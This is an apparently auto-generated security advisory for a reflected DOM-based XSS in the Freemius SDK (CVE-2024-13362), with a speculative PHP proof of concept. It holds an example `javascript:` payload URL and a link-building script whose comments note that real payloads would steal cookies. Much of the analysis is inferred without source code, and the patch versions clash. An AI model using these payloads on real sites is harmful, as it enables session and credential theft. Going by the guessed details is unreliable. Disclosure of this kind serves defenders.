Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 7, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (gs-team-members)

CVE ID CVE-2024-13362
Plugin gs-team-members
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.5.8
Patched Version —
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362 (metadata-based):

This is a reflected DOM-based Cross-Site Scripting (XSS) vulnerability in the Freemius SDK, version 2.10.1 and earlier, which is bundled within multiple WordPress plugins and themes. The vulnerability allows unauthenticated attackers to inject arbitrary web scripts via the ‘url’ parameter. The attack requires user interaction (clicking a link) to execute the malicious payload. The CVSS score is 6.1 (Medium), indicating a moderate severity with low impact to confidentiality and integrity, and no impact to availability.

Root Cause: The CWE classification (79) and description point to improper neutralization of input during web page generation, specifically a failure to sanitize the ‘url’ parameter or escape output before rendering it client-side. Based on the DOM-based XSS classification and the Freemius SDK context, Atomic Edge analysis infers that the vulnerable code likely passes the ‘url’ parameter directly into JavaScript-manipulated DOM elements (e.g., via `innerHTML`, `document.write`, or `location` assignment) without encoding. This is a typical DOM XSS pattern where the attacker controls a URL fragment or query parameter that the client-side script processes. Since no source code diff is available, this conclusion is inferred from the CWE and CVSS vector (which shows scope change, indicating client-side impact).

Exploitation: An attacker crafts a malicious link containing an XSS payload within the ‘url’ parameter. The link points to a page on a site using any vulnerable plugin/theme that includes the Freemius SDK. When a victim clicks the link, the Freemius script reads the ‘url’ parameter from the URL (likely via `location.href` or `URLSearchParams`) and injects the payload into the DOM without sanitization. For example, the URL could be: `https://victim-site.com/?url=javascript:alert(document.cookie)` or a more stealthy encoded variant. The payload executes in the victim’s browser context, bypassing server-side protections because the vulnerability is entirely client-side.

Remediation: The fix requires proper output escaping and input validation on the client-side script. The Freemius SDK must encode or sanitize the ‘url’ parameter before inserting it into the DOM. Using `textContent` instead of `innerHTML`, or applying proper URL encoding and validation (e.g., checking the protocol is HTTP/HTTPS) would prevent script injection. Additionally, implementing a Content Security Policy (CSP) with `script-src` restrictions can mitigate DOM XSS even if the SDK contains a flaw. Atomic Edge analysis recommends updating to the patched version (2.6.1) of the GS Team Members plugin, or any higher version of Freemius SDK.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser within the context of the vulnerable site. This can lead to session hijacking (stealing cookies), credential theft via phishing overlays, defacement, or performing actions on behalf of the authenticated user. Since no authentication is required for the attack vector, any visitor to the site is a potential target. The scope change in the CVSS vector (C) confirms that the compromise affects the user’s browser (client-side), not the server.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

// Assumptions:
// 1. The vulnerable Freemius SDK is used by any plugin or theme on the target WordPress site.
// 2. The 'url' parameter is read from the URL by client-side JavaScript and injected into the DOM without sanitization.
// 3. The specific endpoint is not AJAX-based; the vulnerability is triggered by the victim visiting a crafted URL.
// 4. The PoC demonstrates the attack vector by generating a malicious link.

$target_url = 'https://example.com'; // Replace with the victim site's URL

// The payload: an XSS vector that executes after page load.
// The exact injection point depends on the Freemius SDK script, but common patterns include:
// - Using the 'url' parameter in an anchor target or redirect.
// - Setting window.location or modifying DOM attributes.
// We use a simple JavaScript payload that triggers an alert for demonstration purposes.
// In a real attack, the payload would steal cookies or perform other malicious actions.
$xss_payload = 'javascript:alert(document.domain)'; // Standard XSS vector for URL-based DOM XSS

// Build the malicious URL
$malicious_url = $target_url . '/?url=' . urlencode($xss_payload);

// Display the crafted link
echo "[+] Atomic Edge PoC for CVE-2024-13362n";
echo "[+] The following URL, when visited by a victim, will trigger XSS if the target uses a vulnerable Freemius SDK version:n";
echo $malicious_url . "n";
echo "[+] Note: This requires user interaction (clicking the link). The exact DOM injection method depends on the SDK version.n";
echo "[+] Ensure you have permission to test this against the target site.n";

// Optionally, send a request via cURL to check if the parameter is reflected?
// However, since this is a DOM-based XSS, server-side response may not contain the payload.
// So we do not attempt to automate exploitation; we just generate the link.

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